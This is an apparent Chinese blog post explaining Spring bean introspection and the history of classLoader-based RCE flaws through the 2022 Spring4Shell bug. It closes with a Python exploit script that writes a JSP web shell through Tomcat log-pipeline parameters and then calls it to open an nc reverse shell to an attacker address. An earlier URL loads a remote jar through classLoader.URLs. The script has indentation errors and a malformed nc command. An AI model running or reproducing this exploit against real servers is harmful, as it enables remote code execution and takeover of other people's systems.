免责声明:本文仅做分享~

目录

官方文档

Spring

Spring的IOC

 发展

漏洞总结:

Spring_RCE.py


官方文档

Spring Framework


 

Spring

Spring
java的一种框架,类似php的thinkphp一样.
------------------------------------
Class对象:
对象分两种
1 new出来的对象
2 Class对象 	Class.forName()

bean对象:
pojo entity 实体
表示若干属性的集合,一般不具备业务逻辑方法.
四个重要标准:
1 所有属性均为private
2 提供默认的构造方法
3 提供getter和setter方法来操作属性
4 实现Serializable接口

Spring的IOC

 当控制器方法接收参数为一个bean时,提交参数,会调用bean的setter方法
    不仅可以对控制器参数中bean的属性赋值,还可以对属性的属性进行赋值.
    这种机制,称之为内省机制.

例如:
password-112233&uername=admin&card.cid=123456

user.getCard.setCid="123456"
user.setUsername="admin"
user.setPassword="123456"

 发展

2010爆CVE,通过内省机制,强制给bean赋值拿到classLoader,通过URL属性,远程标签重写,是写RCE.
通过bean对象的内省机制,可以拿到class对象 , 拿到classLoader
然后就可以加载恶意类.

http://localhost:8080/user?class.classLoader.URLs[0]=jar:http://127.0.0.1:8080/spring-jar.jar!/

    
2012爆 绕过

修补
Tomcat的修补方法
检查getter方法时,拿到的属性,是否是classLoader 或者 protectedDomain 就直接卡死报错.

Apache修补方式:
针对getURLs这个方法,将返回孩子改为clone 非同一个对象.
    
2017
    java1.9 ,引入了Module机制
    user.getClass().getMoudle().getClassLoader()
这个漏洞就开始存在了,一直在野利用.

2022
    漏洞爆出!

漏洞总结:

新加入的特性没有兼容旧的漏洞修补,造成漏洞利用的绕过.


Spring_RCE.py

import requests
import time
url = "<目标网址>"
# 反弹地址+端口
local_addr="<ip>"
local_port="3389"
def get_shell():
    header={
        "cmd":"<%=Runtime.getRuntime().exec(request.getParameter(new String(new byte[]{97})))%>"
    }
 
requests.get(headers=header,url=url+"?"+"class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7bcmd%7di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2fROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=")
    print("请等待getShell")
    time.sleep(2)
    response = requests.get(url=url+"shell.jsp?a=nc"+local_addr+" "+local_port+" -e /bin/sh")
    if "Process" in response.text:
        print("已经成功反弹")
    else:
        print("反弹失败"+response.text)

if __name__ == '__main__':
    get_shell()      
# -->写入shell.jsp

点赞(0) 打赏

评论列表 共有 0 条评论

暂无评论

微信公众账号

微信扫一扫加关注

发表
评论
返回
顶部